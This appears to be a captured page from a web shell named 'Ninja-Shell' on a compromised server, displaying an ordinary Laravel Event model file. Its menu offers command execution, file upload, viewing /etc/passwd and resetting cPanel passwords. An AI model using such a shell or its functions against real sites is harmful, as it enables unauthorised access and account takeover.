{Ninja-Shell}
Home
Info
Upload
Command
View /etc/passwd
cPanel Reset Password
Filename: //proc/858/cwd/bfti-website//app/Models/Event.php
<?php namespace App\Models; use Spatie\MediaLibrary\HasMedia; use Illuminate\Database\Eloquent\Model; use Spatie\MediaLibrary\InteractsWithMedia; use Illuminate\Database\Eloquent\SoftDeletes; use Illuminate\Database\Eloquent\Factories\HasFactory; use Spatie\MediaLibrary\MediaCollections\Models\Media; class Event extends Model implements HasMedia { use HasFactory, InteractsWithMedia, SoftDeletes; protected $fillable = [ 'category', 'title', 'description', 'date', 'status', 'organized_by', ]; protected $dates = ['date']; public function registerMediaCollections(): void { $this ->addMediaCollection('event')->singleFile() ->registerMediaConversions(function (Media $media) { $this->addMediaConversion('thumbnail') ->width(120) ->height(67) ->nonQueued(); $this->addMediaConversion('medium') ->width(300) ->height(168) ->nonQueued(); $this->addMediaConversion('large') ->width(600) ->height(337) ->nonQueued(); }); } }
./Ninja\.